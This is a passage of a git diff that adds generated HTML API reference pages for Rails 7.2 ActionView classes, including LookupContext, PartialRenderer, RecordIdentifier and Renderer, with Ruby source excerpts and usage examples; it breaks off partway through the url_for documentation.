+        "[cache miss]"
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + render_count(payload) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/log_subscriber.rb, line 113
+    def render_count(payload) # :doc:
+      if payload[:cache_hits]
+        "[#{payload[:cache_hits]} / #{payload[:count]} cache hits]"
+      else
+        "[#{payload[:count]} times]"
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/LookupContext.html b/src/7.2/classes/ActionView/LookupContext.html new file mode 100644 index 0000000000..c845d0fbac --- /dev/null +++ b/src/7.2/classes/ActionView/LookupContext.html @@ -0,0 +1,77 @@ +--- +title: ActionView::LookupContext +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/LookupContext/DetailsCache.html b/src/7.2/classes/ActionView/LookupContext/DetailsCache.html new file mode 100644 index 0000000000..8460367e69 --- /dev/null +++ b/src/7.2/classes/ActionView/LookupContext/DetailsCache.html @@ -0,0 +1,169 @@ +--- +title: ActionView::LookupContext::DetailsCache +layout: default +--- +
+ +
+
+ +
+ +

Add caching behavior on top of Details.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [RW] + cache
+ + + + + +

Instance Public methods

+ +
+

+ + disable_cache() + +

+ + +
+

Temporary skip passing the details_key forward.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/lookup_context.rb, line 108
+      def disable_cache
+        old_value, @cache = @cache, false
+        yield
+      ensure
+        @cache = old_value
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + _set_detail(key, value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/lookup_context.rb, line 116
+      def _set_detail(key, value) # :doc:
+        @details = @details.dup if @digest_cache || @details_key
+        @digest_cache = nil
+        @details_key = nil
+        @details[key] = value
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/LookupContext/ViewPaths.html b/src/7.2/classes/ActionView/LookupContext/ViewPaths.html new file mode 100644 index 0000000000..a439e19435 --- /dev/null +++ b/src/7.2/classes/ActionView/LookupContext/ViewPaths.html @@ -0,0 +1,482 @@ +--- +title: ActionView::LookupContext::ViewPaths +layout: default +--- +
+ +
+
+ +
+ +

Helpers related to template lookup using the lookup context information.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + html_fallback_for_js
+ [R] + view_paths
+ + + + + +

Instance Public methods

+ +
+

+ + any?(name, prefixes = [], partial = false) + +

+ + +
+ +
+ + + +
+ Also aliased as: any_templates? +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/lookup_context.rb, line 148
+      def any?(name, prefixes = [], partial = false)
+        name, prefixes = normalize_name(name, prefixes)
+        details, details_key = detail_args_for_any
+        @view_paths.exists?(name, prefixes, partial, details, details_key, [])
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + any_templates?(name, prefixes = [], partial = false) + +

+ + +
+ +
+ + + + + +
+ Alias for: any? +
+ + + + +
+ +
+

+ + append_view_paths(paths) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/lookup_context.rb, line 155
+      def append_view_paths(paths)
+        @view_paths = build_view_paths(@view_paths.to_a + paths)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + exists?(name, prefixes = [], partial = false, keys = [], **options) + +

+ + +
+ +
+ + + +
+ Also aliased as: template_exists? +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/lookup_context.rb, line 141
+      def exists?(name, prefixes = [], partial = false, keys = [], **options)
+        name, prefixes = normalize_name(name, prefixes)
+        details, details_key = detail_args_for(options)
+        @view_paths.exists?(name, prefixes, partial, details, details_key, keys)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + find(name, prefixes = [], partial = false, keys = [], options = {}) + +

+ + +
+ +
+ + + +
+ Also aliased as: find_template +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/lookup_context.rb, line 128
+      def find(name, prefixes = [], partial = false, keys = [], options = {})
+        name, prefixes = normalize_name(name, prefixes)
+        details, details_key = detail_args_for(options)
+        @view_paths.find(name, prefixes, partial, details, details_key, keys)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + find_all(name, prefixes = [], partial = false, keys = [], options = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/lookup_context.rb, line 135
+      def find_all(name, prefixes = [], partial = false, keys = [], options = {})
+        name, prefixes = normalize_name(name, prefixes)
+        details, details_key = detail_args_for(options)
+        @view_paths.find_all(name, prefixes, partial, details, details_key, keys)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + find_template(name, prefixes = [], partial = false, keys = [], options = {}) + +

+ + +
+ +
+ + + + + +
+ Alias for: find +
+ + + + +
+ +
+

+ + prepend_view_paths(paths) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/lookup_context.rb, line 159
+      def prepend_view_paths(paths)
+        @view_paths = build_view_paths(paths + @view_paths.to_a)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + template_exists?(name, prefixes = [], partial = false, keys = [], **options) + +

+ + +
+ +
+ + + + + +
+ Alias for: exists? +
+ + + + +
+ + +

Instance Private methods

+ +
+

+ + detail_args_for(options) + +

+ + +
+

Compute details hash and key according to user options (e.g. passed from render).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/lookup_context.rb, line 175
+      def detail_args_for(options) # :doc:
+        return @details, details_key if options.empty? # most common path.
+        user_details = @details.merge(options)
+
+        if @cache
+          details_key = DetailsKey.details_cache_key(user_details)
+        else
+          details_key = nil
+        end
+
+        [user_details, details_key]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/NullResolver.html b/src/7.2/classes/ActionView/NullResolver.html new file mode 100644 index 0000000000..6eb3947098 --- /dev/null +++ b/src/7.2/classes/ActionView/NullResolver.html @@ -0,0 +1,109 @@ +--- +title: ActionView::NullResolver +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + find_templates(name, prefix, partial, details, locals = []) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/testing/resolvers.rb, line 38
+    def find_templates(name, prefix, partial, details, locals = [])
+      path = TemplatePath.build(name, prefix, partial)
+      handler = ActionView::Template::Handlers::Raw
+      [ActionView::Template.new("Template generated by Null Resolver", path.virtual, handler, virtual_path: path.virtual, format: nil, variant: nil, locals: locals)]
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/PartialIteration.html b/src/7.2/classes/ActionView/PartialIteration.html new file mode 100644 index 0000000000..d84e07e9f8 --- /dev/null +++ b/src/7.2/classes/ActionView/PartialIteration.html @@ -0,0 +1,211 @@ +--- +title: ActionView::PartialIteration +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + index

The current iteration of the partial.

+ [R] + size

The number of iterations that will be done by the partial.

+ + + + +

Class Public methods

+ +
+

+ + new(size) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/renderer/collection_renderer.rb, line 13
+    def initialize(size)
+      @size  = size
+      @index = 0
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + first?() + +

+ + +
+

Check if this is the first iteration of the partial.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/renderer/collection_renderer.rb, line 19
+    def first?
+      index == 0
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + last?() + +

+ + +
+

Check if this is the last iteration of the partial.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/renderer/collection_renderer.rb, line 24
+    def last?
+      index == size - 1
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/PartialRenderer.html b/src/7.2/classes/ActionView/PartialRenderer.html new file mode 100644 index 0000000000..6f3270d3f8 --- /dev/null +++ b/src/7.2/classes/ActionView/PartialRenderer.html @@ -0,0 +1,370 @@ +--- +title: ActionView::PartialRenderer +layout: default +--- +
+ +
+
+ +
+ +

Action View Partials

+ +

There’s also a convenience method for rendering sub templates within the current controller that depends on a single object (we call this kind of sub templates for partials). It relies on the fact that partials should follow the naming convention of being prefixed with an underscore – as to separate them from regular templates that could be rendered on their own.

+ +

In a template for Advertiser#account:

+ +
<%= render partial: "account" %>
+
+ +

This would render β€œadvertiser/_account.html.erb”.

+ +

In another template for Advertiser#buy, we could have:

+ +
<%= render partial: "account", locals: { account: @buyer } %>
+
+<% @advertisements.each do |ad| %>
+  <%= render partial: "ad", locals: { ad: ad } %>
+<% end %>
+
+ +

This would first render advertiser/_account.html.erb with @buyer passed in as the local variable account, then render advertiser/_ad.html.erb and pass the local variable ad to the template for display.

+ +

The :as and :object options

+ +

By default ActionView::PartialRenderer doesn’t have any local variables. The :object option can be used to pass an object to the partial. For instance:

+ +
<%= render partial: "account", object: @buyer %>
+
+ +

would provide the @buyer object to the partial, available under the local variable account and is equivalent to:

+ +
<%= render partial: "account", locals: { account: @buyer } %>
+
+ +

With the :as option we can specify a different name for said local variable. For example, if we wanted it to be user instead of account we’d do:

+ +
<%= render partial: "account", object: @buyer, as: 'user' %>
+
+ +

This is equivalent to

+ +
<%= render partial: "account", locals: { user: @buyer } %>
+
+ +

Rendering a collection of partials

+ +

The example of partial use describes a familiar pattern where a template needs to iterate over an array and render a sub template for each of the elements. This pattern has been implemented as a single method that accepts an array and renders a partial by the same name as the elements contained within. So the three-lined example in β€œUsing partials” can be rewritten with a single line:

+ +
<%= render partial: "ad", collection: @advertisements %>
+
+ +

This will render advertiser/_ad.html.erb and pass the local variable ad to the template for display. An iteration object will automatically be made available to the template with a name of the form partial_name_iteration. The iteration object has knowledge about which index the current object has in the collection and the total size of the collection. The iteration object also has two convenience methods, first? and last?. In the case of the example above, the template would be fed ad_iteration. For backwards compatibility the partial_name_counter is still present and is mapped to the iteration’s index method.

+ +

The :as option may be used when rendering partials.

+ +

You can specify a partial to be rendered between elements via the :spacer_template option. The following example will render advertiser/_ad_divider.html.erb between each ad partial:

+ +
<%= render partial: "ad", collection: @advertisements, spacer_template: "ad_divider" %>
+
+ +

If the given :collection is nil or empty, render will return nil. This will allow you to specify a text which will be displayed instead by using this form:

+ +
<%= render(partial: "ad", collection: @advertisements) || "There's no ad to be displayed" %>
+
+ +

Rendering shared partials

+ +

Two controllers can share a set of partials and render them like this:

+ +
<%= render partial: "advertisement/ad", locals: { ad: @advertisement } %>
+
+ +

This will render the partial advertisement/_ad.html.erb regardless of which controller this is being called from.

+ +

Rendering objects that respond to to_partial_path

+ +

Instead of explicitly naming the location of a partial, you can also let PartialRenderer do the work and pick the proper path by checking to_partial_path method.

+ +
# @account.to_partial_path returns 'accounts/account', so it can be used to replace:
+# <%= render partial: "accounts/account", locals: { account: @account} %>
+<%= render partial: @account %>
+
+# @posts is an array of Post instances, so every post record returns 'posts/post' on +to_partial_path+,
+# that's why we can replace:
+# <%= render partial: "posts/post", collection: @posts %>
+<%= render partial: @posts %>
+
+ +

Rendering the default case

+ +

If you’re not going to be using any of the options like collections or layouts, you can also use the short-hand defaults of render to render partials. Examples:

+ +
# Instead of <%= render partial: "account" %>
+<%= render "account" %>
+
+# Instead of <%= render partial: "account", locals: { account: @buyer } %>
+<%= render "account", account: @buyer %>
+
+# @account.to_partial_path returns 'accounts/account', so it can be used to replace:
+# <%= render partial: "accounts/account", locals: { account: @account} %>
+<%= render @account %>
+
+# @posts is an array of Post instances, so every post record returns 'posts/post' on +to_partial_path+,
+# that's why we can replace:
+# <%= render partial: "posts/post", collection: @posts %>
+<%= render @posts %>
+
+ +

Rendering partials with layouts

+ +

Partials can have their own layouts applied to them. These layouts are different than the ones that are specified globally for the entire action, but they work in a similar fashion. Imagine a list with two types of users:

+ +
<%# app/views/users/index.html.erb %>
+Here's the administrator:
+<%= render partial: "user", layout: "administrator", locals: { user: administrator } %>
+
+Here's the editor:
+<%= render partial: "user", layout: "editor", locals: { user: editor } %>
+
+<%# app/views/users/_user.html.erb %>
+Name: <%= user.name %>
+
+<%# app/views/users/_administrator.html.erb %>
+<div id="administrator">
+  Budget: $<%= user.budget %>
+  <%= yield %>
+</div>
+
+<%# app/views/users/_editor.html.erb %>
+<div id="editor">
+  Deadline: <%= user.deadline %>
+  <%= yield %>
+</div>
+
+ +

…this will return:

+ +
Here's the administrator:
+<div id="administrator">
+  Budget: $<%= user.budget %>
+  Name: <%= user.name %>
+</div>
+
+Here's the editor:
+<div id="editor">
+  Deadline: <%= user.deadline %>
+  Name: <%= user.name %>
+</div>
+
+ +

If a collection is given, the layout will be rendered once for each item in the collection. For example, these two snippets have the same output:

+ +
<%# app/views/users/_user.html.erb %>
+Name: <%= user.name %>
+
+<%# app/views/users/index.html.erb %>
+<%# This does not use layouts %>
+<ul>
+  <% users.each do |user| -%>
+    <li>
+      <%= render partial: "user", locals: { user: user } %>
+    </li>
+  <% end -%>
+</ul>
+
+<%# app/views/users/_li_layout.html.erb %>
+<li>
+  <%= yield %>
+</li>
+
+<%# app/views/users/index.html.erb %>
+<ul>
+  <%= render partial: "user", layout: "li_layout", collection: users %>
+</ul>
+
+ +

Given two users whose names are Alice and Bob, these snippets return:

+ +
<ul>
+  <li>
+    Name: Alice
+  </li>
+  <li>
+    Name: Bob
+  </li>
+</ul>
+
+ +

The current object being rendered, as well as the object_counter, will be available as local variables inside the layout template under the same names as available in the partial.

+ +

You can also apply a layout to a block within any template:

+ +
<%# app/views/users/_chief.html.erb %>
+<%= render(layout: "administrator", locals: { user: chief }) do %>
+  Title: <%= chief.title %>
+<% end %>
+
+ +

…this will return:

+ +
<div id="administrator">
+  Budget: $<%= user.budget %>
+  Title: <%= chief.name %>
+</div>
+
+ +

As you can see, the :locals hash is shared between both the partial and its layout.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(lookup_context, options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/renderer/partial_renderer.rb, line 223
+    def initialize(lookup_context, options)
+      super(lookup_context)
+      @options = options
+      @locals  = @options[:locals] || {}
+      @details = extract_details(@options)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + render(partial, context, block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/renderer/partial_renderer.rb, line 230
+    def render(partial, context, block)
+      template = find_template(partial, template_keys(partial))
+
+      if !block && (layout = @options[:layout])
+        layout = find_template(layout.to_s, template_keys(partial))
+      end
+
+      render_partial_template(context, @locals, template, layout, block)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/RecordIdentifier.html b/src/7.2/classes/ActionView/RecordIdentifier.html new file mode 100644 index 0000000000..00959364d9 --- /dev/null +++ b/src/7.2/classes/ActionView/RecordIdentifier.html @@ -0,0 +1,285 @@ +--- +title: ActionView::RecordIdentifier +layout: default +--- +
+ +
+
+ +
+ +

Action View Record Identifier

+ +

RecordIdentifier encapsulates methods used by various ActionView helpers to associate records with DOM elements.

+ +

Consider for example the following code that form of post:

+ +
<%= form_for(post) do |f| %>
+  <%= f.text_field :body %>
+<% end %>
+
+ +

When post is a new, unsaved ActiveRecord::Base instance, the resulting HTML is:

+ +
<form class="new_post" id="new_post" action="/posts" accept-charset="UTF-8" method="post">
+  <input type="text" name="post[body]" id="post_body" />
+</form>
+
+ +

When post is a persisted ActiveRecord::Base instance, the resulting HTML is:

+ +
<form class="edit_post" id="edit_post_42" action="/posts/42" accept-charset="UTF-8" method="post">
+  <input type="text" value="What a wonderful world!" name="post[body]" id="post_body" />
+</form>
+
+ +

In both cases, the id and class of the wrapping DOM element are automatically generated, following naming conventions encapsulated by the RecordIdentifier methods dom_id and dom_class:

+ +
dom_id(Post)             # => "new_post"
+dom_class(Post)          # => "post"
+dom_id(Post.new)         # => "new_post"
+dom_class(Post.new)      # => "post"
+dom_id(Post.find 42)     # => "post_42"
+dom_class(Post.find 42)  # => "post"
+
+ +

Note that these methods do not strictly require Post to be a subclass of ActiveRecord::Base. Any Post class will work as long as its instances respond to to_key and model_name, given that model_name responds to param_key. For instance:

+ +
class Post
+  attr_accessor :to_key
+
+  def model_name
+    OpenStruct.new param_key: 'post'
+  end
+
+  def self.find(id)
+    new.tap { |post| post.to_key = [id] }
+  end
+end
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + +
JOIN="_"
NEW="new"
+ + + + + + + +

Instance Public methods

+ +
+

+ + dom_class(record_or_class, prefix = nil) + +

+ + +
+

The DOM class convention is to use the singular form of an object or class.

+ +
dom_class(post)   # => "post"
+dom_class(Person) # => "person"
+
+ +

If you need to address multiple instances of the same class in the same view, you can prefix the dom_class:

+ +
dom_class(post, :edit)   # => "edit_post"
+dom_class(Person, :edit) # => "edit_person"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/record_identifier.rb, line 78
+    def dom_class(record_or_class, prefix = nil)
+      singular = model_name_from_record_or_class(record_or_class).param_key
+      prefix ? "#{prefix}#{JOIN}#{singular}" : singular
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dom_id(record_or_class, prefix = nil) + +

+ + +
+

The DOM id convention is to use the singular form of an object or class with the id following an underscore. If no id is found, prefix with β€œnew_” instead.

+ +
dom_id(Post.find(45)) # => "post_45"
+dom_id(Post)          # => "new_post"
+
+ +

If you need to address multiple instances of the same class in the same view, you can prefix the dom_id:

+ +
dom_id(Post.find(45), :edit) # => "edit_post_45"
+dom_id(Post, :custom)        # => "custom_post"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/record_identifier.rb, line 93
+    def dom_id(record_or_class, prefix = nil)
+      raise ArgumentError, "dom_id must be passed a record_or_class as the first argument, you passed #{record_or_class.inspect}" unless record_or_class
+
+      record_id = record_key_for_dom_id(record_or_class) unless record_or_class.is_a?(Class)
+      if record_id
+        "#{dom_class(record_or_class, prefix)}#{JOIN}#{record_id}"
+      else
+        dom_class(record_or_class, prefix || NEW)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + record_key_for_dom_id(record) + +

+ + +
+

Returns a string representation of the key attribute(s) that is suitable for use in an HTML DOM id. This can be overwritten to customize the default generated string representation if desired. If you need to read back a key from a dom_id in order to query for the underlying database record, you should write a helper like β€˜person_record_from_dom_id’ that will extract the key either based on the default implementation (which just joins all key attributes with β€˜_’) or on your own overwritten version of the method. By default, this implementation passes the key string through a method that replaces all characters that are invalid inside DOM ids, with valid ones. You need to make sure yourself that your dom ids are valid, in case you override this method.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/record_identifier.rb, line 113
+    def record_key_for_dom_id(record) # :doc:
+      key = convert_to_model(record).to_key
+      key && key.all? ? key.join(JOIN) : nil
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/RenderParser.html b/src/7.2/classes/ActionView/RenderParser.html new file mode 100644 index 0000000000..79f0b7d034 --- /dev/null +++ b/src/7.2/classes/ActionView/RenderParser.html @@ -0,0 +1,84 @@ +--- +title: ActionView::RenderParser +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + +

Constants

+ + + + + + + + + +
Default=
+ + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/RenderParser/PrismRenderParser.html b/src/7.2/classes/ActionView/RenderParser/PrismRenderParser.html new file mode 100644 index 0000000000..9920f7a068 --- /dev/null +++ b/src/7.2/classes/ActionView/RenderParser/PrismRenderParser.html @@ -0,0 +1,60 @@ +--- +title: ActionView::RenderParser::Default +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Renderer.html b/src/7.2/classes/ActionView/Renderer.html new file mode 100644 index 0000000000..019ef6d7d3 --- /dev/null +++ b/src/7.2/classes/ActionView/Renderer.html @@ -0,0 +1,218 @@ +--- +title: ActionView::Renderer +layout: default +--- +
+ +
+
+ +
+ +

Action View Renderer

+ +

This is the main entry point for rendering. It basically delegates to other objects like TemplateRenderer and PartialRenderer which actually renders the template.

+ +

The Renderer will parse the options from the render or render_body method and render a partial or a template based on the options. The TemplateRenderer and PartialRenderer objects are wrappers which do all the setup and logic necessary to render a view and a new object is created each time render is called.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [RW] + lookup_context
+ + + + +

Class Public methods

+ +
+

+ + new(lookup_context) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/renderer/renderer.rb, line 18
+    def initialize(lookup_context)
+      @lookup_context = lookup_context
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + render(context, options) + +

+ + +
+

Main render entry point shared by Action View and Action Controller.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/renderer/renderer.rb, line 23
+    def render(context, options)
+      render_to_object(context, options).body
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + render_body(context, options) + +

+ + +
+

Render but returns a valid Rack body. If fibers are defined, we return a streaming body that renders the template piece by piece.

+ +

Note that partials are not supported to be rendered with streaming, so in such cases, we just wrap them in an array.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/renderer/renderer.rb, line 40
+    def render_body(context, options)
+      if options.key?(:partial)
+        [render_partial(context, options)]
+      else
+        StreamingTemplateRenderer.new(@lookup_context).render(context, options)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Rendering.html b/src/7.2/classes/ActionView/Rendering.html new file mode 100644 index 0000000000..cf9d89e969 --- /dev/null +++ b/src/7.2/classes/ActionView/Rendering.html @@ -0,0 +1,259 @@ +--- +title: ActionView::Rendering +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/rendering.rb, line 32
+    def initialize
+      @_rendered_format = nil
+      super
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + render_to_body(options = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/rendering.rb, line 119
+    def render_to_body(options = {})
+      _process_options(options)
+      _render_template(options)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + view_context() + +

+ + +
+

An instance of a view class. The default view class is ActionView::Base.

+ +

The view class must have the following methods:

+
  • +

    View.new(lookup_context, assigns, controller) β€” Create a new ActionView instance for a controller and we can also pass the arguments.

    +
  • +

    View#render(option) β€” Returns String with the rendered template.

    +
+ +

Override this method in a module to change the default behavior.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/rendering.rb, line 109
+    def view_context
+      view_context_class.new(lookup_context, view_assigns, self)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + view_context_class() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/rendering.rb, line 95
+    def view_context_class
+      self.class.view_context_class
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Rendering/ClassMethods.html b/src/7.2/classes/ActionView/Rendering/ClassMethods.html new file mode 100644 index 0000000000..695e2ceb12 --- /dev/null +++ b/src/7.2/classes/ActionView/Rendering/ClassMethods.html @@ -0,0 +1,320 @@ +--- +title: ActionView::Rendering::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + _helpers() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/rendering.rb, line 49
+      def _helpers
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + _routes() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/rendering.rb, line 46
+      def _routes
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + build_view_context_class(klass, supports_path, routes, helpers) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/rendering.rb, line 59
+      def build_view_context_class(klass, supports_path, routes, helpers)
+        if inherit_view_context_class?
+          return superclass.view_context_class
+        end
+
+        Class.new(klass) do
+          if routes
+            include routes.url_helpers(supports_path)
+            include routes.mounted_helpers
+          end
+
+          if helpers
+            include helpers
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + eager_load!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/rendering.rb, line 76
+      def eager_load!
+        super
+        view_context_class
+        nil
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + inherit_view_context_class?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/rendering.rb, line 52
+      def inherit_view_context_class?
+        superclass.respond_to?(:view_context_class) &&
+          supports_path? == superclass.supports_path? &&
+          _routes.equal?(superclass._routes) &&
+          _helpers.equal?(superclass._helpers)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + view_context_class() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/rendering.rb, line 82
+      def view_context_class
+        klass = ActionView::LookupContext::DetailsKey.view_context_class
+
+        @view_context_class ||= build_view_context_class(klass, supports_path?, _routes, _helpers)
+
+        if klass.changed?(@view_context_class)
+          @view_context_class = build_view_context_class(klass, supports_path?, _routes, _helpers)
+        end
+
+        @view_context_class
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Resolver.html b/src/7.2/classes/ActionView/Resolver.html new file mode 100644 index 0000000000..60b0a9b066 --- /dev/null +++ b/src/7.2/classes/ActionView/Resolver.html @@ -0,0 +1,151 @@ +--- +title: ActionView::Resolver +layout: default +--- +
+ +
+
+ +
+ +

Action View Resolver

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + clear_cache() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template/resolver.rb, line 57
+    def clear_cache
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + find_all(name, prefix = nil, partial = false, details = {}, key = nil, locals = []) + +

+ + +
+

Normalizes the arguments and passes it on to find_templates.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template/resolver.rb, line 61
+    def find_all(name, prefix = nil, partial = false, details = {}, key = nil, locals = [])
+      _find_all(name, prefix, partial, details, key, locals)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/RoutingUrlFor.html b/src/7.2/classes/ActionView/RoutingUrlFor.html new file mode 100644 index 0000000000..adbf3c7c0a --- /dev/null +++ b/src/7.2/classes/ActionView/RoutingUrlFor.html @@ -0,0 +1,215 @@ +--- +title: ActionView::RoutingUrlFor +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + url_for(options = nil) + +

+ + +
+

Returns the URL for the set of options provided. This takes the same options as url_for in Action Controller (see the documentation for ActionDispatch::Routing::UrlFor#url_for). Note that by default :only_path is true so you’ll get the relative "/controller/action" instead of the fully qualified URL like "http://example.com/controller/action".

+ +

Options

+
  • +

    :anchor - Specifies the anchor name to be appended to the path.

    +
  • +

    :only_path - If true, returns the relative URL (omitting the protocol, host name, and port) (true by default unless :host is specified).

    +
  • +

    :trailing_slash - If true, adds a trailing slash, as in "/archive/2005/". Note that this is currently not recommended since it breaks caching.

    +
  • +

    :host - Overrides the default (current) host if provided.

    +
  • +

    :protocol - Overrides the default (current) protocol if provided.

    +
  • +

